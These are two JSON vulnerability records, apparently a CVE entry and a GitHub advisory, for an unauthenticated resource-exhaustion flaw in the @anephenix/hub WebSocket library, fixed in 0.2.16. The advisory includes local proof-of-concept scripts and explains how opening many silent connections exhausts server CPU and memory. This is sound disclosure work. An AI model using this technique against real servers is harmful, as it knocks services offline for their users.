{
  "affected": [
    {
      "affectedData": [
        {
          "product": "hub",
          "vendor": "anephenix",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.2.16"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Hub is a Node.js WebSocket server and client with added features. Prior to 0.2.16, every incoming unauthenticated WebSocket connection triggers loadDefaultConnectionEventListeners to call requestClientId, which calls rpc.send for the get-client-id action and pushes a request into RPC.requests. The RPC.waitForReply function starts a setInterval polling loop every 10 milliseconds that is cleared only after a matching reply; if the client remains silent and closes, the timer and pending request stay allocated because the socket close path does not cancel them. Repeated connections therefore cause unbounded timers and heap entries, exhausting CPU and memory and making the server unavailable. This issue is fixed in version 0.2.16."
    }
  ],
  "id": "CVE-2026-73561",
  "lastModified": "2026-08-13T18:18:18.490",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-08-13T18:18:18.490",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/anephenix/hub/commit/931576db3cdbf4f1583bd2c3c8759c4f4e032ab3"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/anephenix/hub/security/advisories/GHSA-g5vv-q72c-7j78"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/anephenix/hub/tree/v0.2.16"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@anephenix/hub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73561"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:47:29Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`@anephenix/hub` starts a `setInterval` polling loop for every incoming WebSocket connection to request a client ID via RPC. If the remote client never replies \u2014 which requires no authentication or special configuration \u2014 the interval and the pending request object are never cleaned up, even after the socket is closed. An unauthenticated attacker who opens many WebSocket connections and ignores all server RPC messages will therefore cause the server to accumulate unbounded timers and heap entries, leading to CPU and memory exhaustion (DoS).\n\n### Details\n\nWhen a client connects, `loadDefaultConnectionEventListeners` (registered in `src/lib/index.ts:128`) adds a connection listener that calls `requestClientId({ ws, rpc })` for every new WebSocket (`src/lib/index.ts:262`). `requestClientId` issues an RPC send for the `get-client-id` action (`src/lib/clientId.ts:112`), which internally calls `rpc.send`.\n\nInside `rpc.send`, the payload is pushed onto `this.requests` (`src/lib/rpc.ts:282`) and `waitForReply` is invoked. `waitForReply` starts a `setInterval` that polls `responses[]` every 10 ms for a matching reply (`src/lib/rpc.ts:250`):\n\n```ts\n// src/lib/rpc.ts:250\u2013267\ninterval = setInterval(() =\u003e {\n    const response = responses.find(\n        (r) =\u003e r.id === id \u0026\u0026 r.action === action,\n    );\n    if (response) {\n        if (interval) clearInterval(interval);\n        // ... resolve and cleanup\n        this.cleanupRPCCall(response);\n    }\n}, 10);\n```\n\n`clearInterval` is only called when a matching response arrives. There is no timeout path and no socket-close handler that clears either the interval or the `this.requests` entry. The `close` handler registered in `loadDefaultConnectionEventListeners` (`src/lib/index.ts:128\u2013134`) only calls `pubsub.unsubscribeClientFromAllChannels`; it does not cancel pending RPC requests for that socket.\n\n**Data flow (source \u2192 sink):**\n\n1. `src/lib/index.ts:269` \u2014 `wss.on(\"connection\")` accepts any remote WebSocket (no authentication).\n2. `src/lib/index.ts:272` \u2014 connection listeners are iterated and invoked.\n3. `src/lib/index.ts:262` \u2014 `requestClientId({ ws, rpc: this.rpc })` is called for every connection by default.\n4. `src/lib/clientId.ts:112` \u2014 `rpc.send({ ws, action: \u0027get-client-id\u0027 })` creates an RPC request.\n5. `src/lib/rpc.ts:282` \u2014 `this.requests.push(payload)` registers the pending request.\n6. `src/lib/rpc.ts:250` \u2014 `setInterval(..., 10)` begins infinite polling; cleanup only happens on a matching response. Socket close does not trigger cleanup.\n\n### PoC\n\n**Prerequisites:** Docker must be available on the host.\n\n**Step 1 \u2014 Build the verification image:**\n\n```bash\ndocker build --no-cache \\\n  -f vuln-001/Dockerfile \\\n  -t hub-vuln-001:latest \\\n  reports/npm_web_272_anephenix__hub\n```\n\n**Step 2 \u2014 Run the container:**\n\n```bash\ndocker run --rm --network none hub-vuln-001:latest\n```\n\nThe container runs `verify.mjs`, which:\n1. Starts a `Hub` server on a local port.\n2. Opens a WebSocket and waits for the server\u0027s `get-client-id` RPC message without replying.\n3. Closes the socket and waits 300 ms.\n4. Inspects `hub.rpc.requests.length` \u2014 it must remain `1` even though `hub.wss.clients.size` is `0`.\n5. Opens five more sockets the same way (batch), then verifies that `pendingRpcRequests` equals `6`.\n\n**Step 3 \u2014 Alternatively, run the Python orchestrator directly:**\n\n```bash\npython3 vuln-001/poc.py\n```\n\n**Expected output (confirmed):**\n\n```json\n{\n  \"snapshotAfterClose\":  {\"clientState\": 3, \"serverClients\": 0, \"pendingRpcRequests\": 1},\n  \"snapshotAfterBatch\":  {\"serverClients\": 0, \"pendingRpcRequests\": 6, \"expectedPendingRpcRequests\": 6}\n}\n```\n\n`pendingRpcRequests` grows linearly with the number of unanswered connections and never decreases, confirming the unbounded resource leak.\n\n**Minimal inline reproduction** (without Docker, inside the repository after `npm ci \u0026\u0026 npm run build`):\n\n```bash\nnode --input-type=module - \u003c\u003c\u0027EOF\u0027\nimport Hub from \u0027./dist/esm/index.js\u0027;\nimport { WebSocket } from \u0027ws\u0027;\n\nconst port = 8766;\nconst hub = new Hub({ port });\nhub.listen();\nconst ws = new WebSocket(`ws://localhost:${port}`);\n\nawait new Promise((resolve) =\u003e ws.once(\u0027message\u0027, resolve));\nws.close();\nawait new Promise((resolve) =\u003e setTimeout(resolve, 300));\nconsole.log(JSON.stringify({\n  serverClients:      hub.wss.clients.size,\n  pendingRpcRequests: hub.rpc.requests.length,\n}));\nhub.server.close();\nprocess.exit(0);\nEOF\n```\n\nExpected:\n\n```json\n{\"serverClients\": 0, \"pendingRpcRequests\": 1}\n```\n\n### Impact\n\nThis is an **unauthenticated Denial-of-Service** vulnerability. Any network-reachable `@anephenix/hub` server running with default configuration is affected. An attacker who opens a large number of WebSocket connections and never replies to the server\u0027s `get-client-id` RPC causes the server process to accumulate one `setInterval` timer (polling every 10 ms) and one heap object per connection indefinitely. With enough connections this exhausts CPU scheduling time and memory, making the server unavailable to legitimate clients.\n\nNo authentication, special headers, or knowledge of internal protocol details are required \u2014 a plain WebSocket `connect` followed by silence is sufficient.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:20-alpine\n\nRUN apk add --no-cache python3 make g++\n\nWORKDIR /app\n\n# Install dependencies first for layer caching\nCOPY repo/package.json repo/package-lock.json ./\nRUN npm ci --ignore-scripts\n\n# Copy the rest of the source and build\nCOPY repo/ ./\nRUN npm run build\n\n# Copy the vulnerability verification script into /app so node_modules is resolvable\nCOPY vuln-001/verify.mjs /app/verify.mjs\n\nCMD [\"node\", \"/app/verify.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC \u2014 Unauthenticated WebSocket RPC Waiter Resource Exhaustion\n(@anephenix/hub v0.2.15)\n\nBuilds a Docker image containing the hub library and a verification script,\nthen runs the container to produce deterministic evidence that\nhub.rpc.requests[] entries (and their backing setInterval timers) are never\ncleaned up when a WebSocket client disconnects without replying to the\nserver\u0027s \"get-client-id\" RPC request.\n\nUsage:\n    python3 poc.py\n\nExit codes:\n    0  \u2014 vulnerability confirmed (PASS)\n    1  \u2014 not reproduced (FAIL)\n    2  \u2014 environment / build error\n\"\"\"\n\nimport json\nimport subprocess\nimport sys\nfrom pathlib import Path\n\n# ---------------------------------------------------------------------------\n# Paths\n# ---------------------------------------------------------------------------\nSCRIPT_DIR = Path(__file__).resolve().parent\nREPO_ROOT   = SCRIPT_DIR.parent              # \u2026/npm_web_272_anephenix__hub/\nDOCKERFILE  = SCRIPT_DIR / \"Dockerfile\"\nPOC_TAG     = \"hub-vuln-001:latest\"\n\nBUILD_CMD = [\n    \"docker\", \"build\",\n    \"--no-cache\",\n    \"-f\", str(DOCKERFILE),\n    \"-t\", POC_TAG,\n    str(REPO_ROOT),   # build context = parent dir so COPY repo/ and COPY vuln-001/ both resolve\n]\n\nRUN_CMD = [\n    \"docker\", \"run\",\n    \"--rm\",\n    \"--network\", \"none\",  # no external network access needed\n    POC_TAG,\n]\n\n\ndef banner(msg: str) -\u003e None:\n    print(f\"\\n{\u0027=\u0027*60}\\n  {msg}\\n{\u0027=\u0027*60}\")\n\n\ndef run(cmd: list[str], **kwargs) -\u003e subprocess.CompletedProcess:\n    print(\"$\", \" \".join(cmd))\n    return subprocess.run(cmd, **kwargs)\n\n\ndef build_image() -\u003e None:\n    banner(\"Phase 1 \u2014 Building Docker image\")\n    result = run(BUILD_CMD, capture_output=False)\n    if result.returncode != 0:\n        print(\"[ERROR] Docker build failed.\", file=sys.stderr)\n        sys.exit(2)\n    print(\"[OK] Image built:\", POC_TAG)\n\n\ndef run_poc() -\u003e dict:\n    banner(\"Phase 2 \u2014 Running vulnerability verification inside container\")\n    result = run(RUN_CMD, capture_output=True, text=True)\n\n    print(\"--- container stdout ---\")\n    print(result.stdout)\n    if result.stderr:\n        print(\"--- container stderr ---\")\n        print(result.stderr)\n\n    # The container exits 0 on confirmed leak, 1 otherwise.\n    if result.returncode == 2:\n        print(\"[ERROR] Verification script crashed.\", file=sys.stderr)\n        sys.exit(2)\n\n    try:\n        data = json.loads(result.stdout)\n    except json.JSONDecodeError as exc:\n        print(f\"[ERROR] Could not parse container output as JSON: {exc}\", file=sys.stderr)\n        sys.exit(2)\n\n    return data, result.returncode\n\n\ndef evaluate(data: dict, container_exit: int) -\u003e tuple[bool, str]:\n    \"\"\"Return (passed, evidence_summary).\"\"\"\n    after_close = data.get(\"snapshotAfterClose\", {})\n    after_batch  = data.get(\"snapshotAfterBatch\", {})\n\n    leaked_single = (\n        after_close.get(\"pendingRpcRequests\", 0) \u003e 0 and\n        after_close.get(\"serverClients\", -1) == 0 and\n        after_close.get(\"clientState\", -1) == 3          # WebSocket.CLOSED\n    )\n\n    leaked_batch = (\n        after_batch.get(\"pendingRpcRequests\", 0) ==\n        after_batch.get(\"expectedPendingRpcRequests\", -1)\n    )\n\n    passed = leaked_single and leaked_batch and container_exit == 0\n\n    evidence = (\n        f\"snapshotAfterClose={json.dumps(after_close)}; \"\n        f\"snapshotAfterBatch={json.dumps(after_batch)}; \"\n        f\"container_exit={container_exit}\"\n    )\n    return passed, evidence\n\n\ndef main() -\u003e None:\n    build_image()\n    data, container_exit = run_poc()\n\n    banner(\"Phase 3 \u2014 Evaluating results\")\n    passed, evidence = evaluate(data, container_exit)\n\n    if passed:\n        print(\"[PASS] Leak confirmed: RPC waiter entries persist after socket close.\")\n    else:\n        print(\"[FAIL] Leak NOT observed \u2014 check container output above.\")\n\n    return passed, evidence, data\n\n\nif __name__ == \"__main__\":\n    passed, evidence, raw = main()\n\n    verdict = \"PASS\" if passed else \"FAIL\"\n    reason = (\n        \"\uc18c\ucf13\uc774 \ub2eb\ud78c \ub4a4\uc5d0\ub3c4 hub.rpc.requests[] \ud56d\ubaa9\uacfc setInterval \ud0c0\uc774\uba38\uac00 \ud574\uc81c\ub418\uc9c0 \uc54a\uc74c\uc774 \"\n        \"\ub7f0\ud0c0\uc784 \uac80\uc0ac\ub85c \ud655\uc778\ub428. \ub2e8\uc77c \uc5f0\uacb0\uc5d0\uc11c pendingRpcRequests=1\uc774 \uc720\uc9c0\ub418\uace0, \"\n        \"\ubc30\uce58 5\uac1c \ucd94\uac00 \ud6c4 \ucd1d 6\uac1c\uac00 \ub204\uc801\ub418\uc5b4 \uc120\ud615 \ub9ac\uc18c\uc2a4 \ub204\uc218\uac00 \uc99d\uba85\ub428.\"\n        if passed else\n        \"\ucee8\ud14c\uc774\ub108 \uc2e4\ud589 \uacb0\uacfc\uc5d0\uc11c \uacb0\uc815\uc801 \uc99d\uac70\ub97c \ud655\ubcf4\ud558\uc9c0 \ubabb\ud588\uc74c.\"\n    )\n\n    result_path = SCRIPT_DIR / \"phase2_result.json\"\n    phase2 = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": \" \".join(BUILD_CMD),\n        \"run_command\": \" \".join(RUN_CMD),\n        \"poc_command\": f\"python3 {Path(__file__).name}\",\n        \"evidence\": evidence,\n        \"artifacts\": [\"Dockerfile\", \"verify.mjs\", \"poc.py\"],\n    }\n\n    result_path.write_text(json.dumps(phase2, indent=2, ensure_ascii=False))\n    print(f\"\\n[INFO] Results written to {result_path}\")\n\n    sys.exit(0 if passed else 1)\n```",
  "id": "GHSA-g5vv-q72c-7j78",
  "modified": "2026-08-13T17:24:41Z",
  "published": "2026-07-24T21:47:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/anephenix/hub/security/advisories/GHSA-g5vv-q72c-7j78"
    },
    {
      "type": "WEB",
      "url": "https://github.com/anephenix/hub/commit/67260d2a1407a77f082f02dc9e1f0891222c306d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/anephenix/hub/commit/931576db3cdbf4f1583bd2c3c8759c4f4e032ab3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/anephenix/hub"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@anephenix/hub: Unauthenticated WebSocket RPC Waiter Resource Exhaustion"
}